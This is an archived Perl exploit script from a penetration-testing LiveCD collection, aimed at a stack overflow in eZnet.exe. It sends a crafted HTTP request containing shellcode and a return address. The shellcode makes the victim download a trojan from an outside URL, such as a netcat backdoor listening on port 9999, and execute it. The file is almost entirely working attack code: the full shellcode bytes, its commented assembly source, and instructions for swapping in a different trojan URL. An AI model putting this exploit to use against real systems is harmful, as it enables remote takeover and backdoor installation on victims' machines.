home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / ez / 2003.12.15.eznetexploit.pl < prev    next >
Perl Script  |  2005-02-12  |  6KB  |  243 lines

  1. #!/usr/bin/perl -w
  2. # Stack Overflow in eZnet.exe - Remote Exploit
  3. # Will download a trojan from any address which you provide
  4. # on the target system, then will execute the trojan.
  5. # For this exploit I have tried several strategies to increase
  6. # reliability and performance:
  7. # + Jump to a static 'call esp'
  8. # + Backwards jump to code a known distance from the stack pointer
  9. #    since the stack address seems to change for each version of
  10. #    eznet.
  11. # + Works out the byte difference for custom urls
  12. #    (must be no longer than 254 bytes!!)
  13. # + Causes eznet.exe to restart (not really my choice ;o)
  14. # + Shellcode steals addresses from a static module.
  15. # (Shellcode is attached to the bottom of this file!)
  16. #
  17. # - by Peter Winter-Smith [peter4020@hotmail.com]
  18.  
  19. use IO::Socket;
  20.  
  21. if(!($ARGV[1]))
  22. {
  23. print "\nUsage: eZnetexploit.pl <victim> <url of trojan>\n" .
  24.       " + netcat trojan at http://www.elitehaven.net/ncat.exe\n" .
  25.       " + listens on port 9999.\n\n";
  26. exit;
  27. }
  28.  
  29. print "eZnet.exe remote trojan downloader exploit\n";
  30.  
  31. $victim = IO::Socket::INET->new(Proto=>'tcp',
  32.                                PeerAddr=>$ARGV[0],
  33.                                PeerPort=>"80")
  34.                            or die "Unable to connect to $ARGV[0] on port 80";
  35.  
  36. $tlen = chr(length($ARGV[1]) + 1);
  37.  
  38. $shellcode =            "\xEB\x3C\x5F\x55\x89\xE5\x81\xC4" .
  39.                         "\xE8\xFF\xFF\xFF\x57\x31\xDB\xB3" .
  40.                         "\x07\xB0\xFF\xFC\xF2\xAE\xFE\x47" .
  41.                         "\xFF\xFE\xCB\x80\xFB\x01\x75\xF4" .
  42.                         "\x5F\x57\x8D\x7F\x0B\x57\x8D\x7F" .
  43.                         "\x13\x57\x8D\x7F\x08\x57\x8D\x7F" .
  44.                                                     $tlen  .
  45.                             "\x57\x8D\x7F\x09\x47\x57\x8D" .
  46.                         "\x54\x24\x14\x52\xEB\x02\xEB\x52" .
  47.                         "\x89\xD6\xFF\x36\xFF\x15\x1C\x91" .
  48.                         "\x04\x10\x5A\x52\x8D\x72\xFC\xFF" .
  49.                         "\x36\x50\xFF\x15\xCC\x90\x04\x10" .
  50.                         "\x5A\x52\x31\xC9\x51\x51\x8D\x72" .
  51.                         "\xF0\xFF\x36\x8D\x72\xF4\xFF\x36" .
  52.                         "\x51\xFF\xD0\x5A\x52\xFF\x72\xEC" .
  53.                         "\xFF\x15\x1C\x91\x04\x10\x5A\x52" .
  54.                         "\x8D\x72\xF8\xFF\x36\x50\xFF\x15" .
  55.                         "\xCC\x90\x04\x10\x5A\x52\x31\xC9" .
  56.                         "\x41\x51\x8D\x72\xF0\xFF\x36\xFF" .
  57.                         "\xD0\xCC\xE8\x6B\xFF\xFF\xFF\x55" .
  58.                         "\x52\x4C\x4D\x4F\x4E\x2E\x44\x4C" .
  59.                         "\x4C\xFF\x55\x52\x4C\x44\x6F\x77" .
  60.                         "\x6E\x6C\x6F\x61\x64\x54\x6F\x46" .
  61.                         "\x69\x6C\x65\x41\xFF\x57\x69\x6E" .
  62.                         "\x45\x78\x65\x63\xFF" .  $ARGV[1] .
  63.                                                     "\xFF" .
  64.                         "\x63\x3A\x5C\x6E\x63\x2E\x65\x78" .
  65.                         "\x65\xFF\x6B\x65\x72\x6E\x65\x6C" .
  66.                         "\x33\x32\x2E\x64\x6C\x6C\xFF";
  67.  
  68. $jmpcode =              "\x89\xE0\x66\x2D\x38\x32\xFF\xE0";
  69.  
  70. $eip = "\xBB\x33\x05\x10";
  71.  
  72. $packet = "" .
  73.   "GET /SwEzModule.dll?operation=login&autologin=" .
  74.   "\x90"x65 . $shellcode . "a"x(4375 - length($ARGV[1])) . $eip . "\x90"x20 . $jmpcode .
  75.   "\x20HTTP/1.0.User-Agent: SoftwaxAsys/2.1.10\n\n";
  76.                   
  77. print $victim $packet;
  78.  
  79. print " + Making Request ...\n + Trojan should download - best of luck!\n";
  80.  
  81. sleep(4);
  82. close($victim);
  83.  
  84. print "Done.\n";
  85. exit;
  86.  
  87. #-----------------------------[vampiric.asm]------------------------------
  88. # ; 'eZnet.exe' (eZmeeting, eZnetwork, eZphotoshare, eZshare, eZ)
  89. # ;   (cryptso.dll vampiric shellcode)
  90. # ; Url Download + Execute
  91. # ; By Peter Winter-Smith
  92. # ; [peter4020@hotmail.com]
  93. # bits 32
  94. # jmp short killnull
  95. # next:
  96. # pop edi
  97. # push ebp
  98. # mov ebp, esp
  99. # add esp, -24
  100. # push edi
  101. # xor ebx, ebx
  102. # mov bl, 07h
  103. # mov al, 0ffh
  104. # cld
  105. # nullify:
  106. # repne scasb
  107. # inc byte [edi-01h]
  108. # dec bl
  109. # cmp bl, 01h
  110. # jne nullify
  111. # pop edi
  112. # push edi        ; 'URLMON.DLL'
  113. # lea edi, [edi+11]
  114. # push edi        ; 'URLDownloadToFileA'
  115. # lea edi, [edi+19]
  116. # push edi        ; 'WinExec'
  117. # lea edi, [edi+08]
  118. # push edi        ; 'http://www.elitehaven.net/ncat.exe'
  119. # lea edi, [edi+35]
  120. # push edi        ; 'c:\nc.exe'
  121. # lea edi, [edi+09]
  122. # inc edi
  123. # push edi        ; 'kernel32.dll'
  124. # lea edx, [esp+20]
  125. # push edx
  126. # jmp short over
  127. # killnull:
  128. # jmp short data
  129. # over:
  130. # mov esi, edx
  131. # push dword [esi]
  132. # call [1004911ch]    ; LoadLibraryA
  133. # pop edx
  134. # push edx
  135. # lea esi, [edx-04]
  136. # push dword [esi]
  137. # push eax
  138. # call [100490cch]    ; GetProcAddress("URLMON.DLL", URLDownloadToFileA);
  139. # pop edx
  140. # push edx
  141. # xor ecx, ecx
  142. # push ecx
  143. # push ecx
  144. # lea esi, [edx-16]    ; file path
  145. # push dword [esi]
  146. # lea esi, [edx-12]    ; url
  147. # push dword [esi]
  148. # push ecx
  149. # call eax
  150. # pop edx
  151. # push edx
  152. # push dword [edx-20]
  153. # call [1004911ch]    ; LoadLibraryA
  154. # pop edx
  155. # push edx
  156. # lea esi, [edx-08]
  157. # push dword [esi]    ; 'WinExec'
  158. # push eax        ; kernel32.dll handle
  159. # call [100490cch]    ; GetProcAddress("kernel32.dll", WinExec);
  160. # pop edx
  161. # push edx
  162. # xor ecx, ecx
  163. # inc ecx
  164. # push ecx
  165. # lea esi, [edx-16]    ; file path
  166. # push dword [esi]
  167. # call eax
  168. # int3
  169. # ta:
  170. # call next
  171. # db 'URLMON.DLL',0ffh
  172. # db 'URLDownloadToFileA',0ffh
  173. # db 'WinExec',0ffh
  174. # db 'http://www.elitehaven.net/ncat.exe',0ffh
  175. # ; When altering, you MUST be sure
  176. # ; to also alter the offsets in the 0ffh to null
  177. # ; byte search!
  178. # ; for example:
  179. # ;   db 'http://www.site.com/someguy/trojan.exe',0ffh
  180. # ; count the length of the url, and add one for the 0ffh byte.
  181. # ; The above url is 38 bytes long, plus one for our null, is 39 bytes.
  182. # ; find the code saying (at the start of the shellcode):
  183. # ;   push edi        ; 'http://www.elitehaven.net/ncat.exe'
  184. # ;   lea edi, [edi+35]
  185. # ; and make it:
  186. # ;   push edi        ; 'http://www.site.com/someguy/trojan.exe'
  187. # ;   lea edi, [edi+39]
  188. # ; same goes for the filename below :o)
  189. # db 'c:\nc.exe',0ffh
  190. # db 'kernel32.dll',0ffh
  191. #-------------------------------------------------------------------------
  192.  
  193. #------------------------------[subcode.asm]------------------------------
  194. # ; eZnet.exe Sub-Shellcode
  195. # ; [peter4020@hotmail.com]
  196. # ;100533BBh
  197. # bits 32
  198. # mov eax, esp
  199. # sub ax, 3238h
  200. # jmp eax
  201. #-----------------------------------------------
  202.  
  203.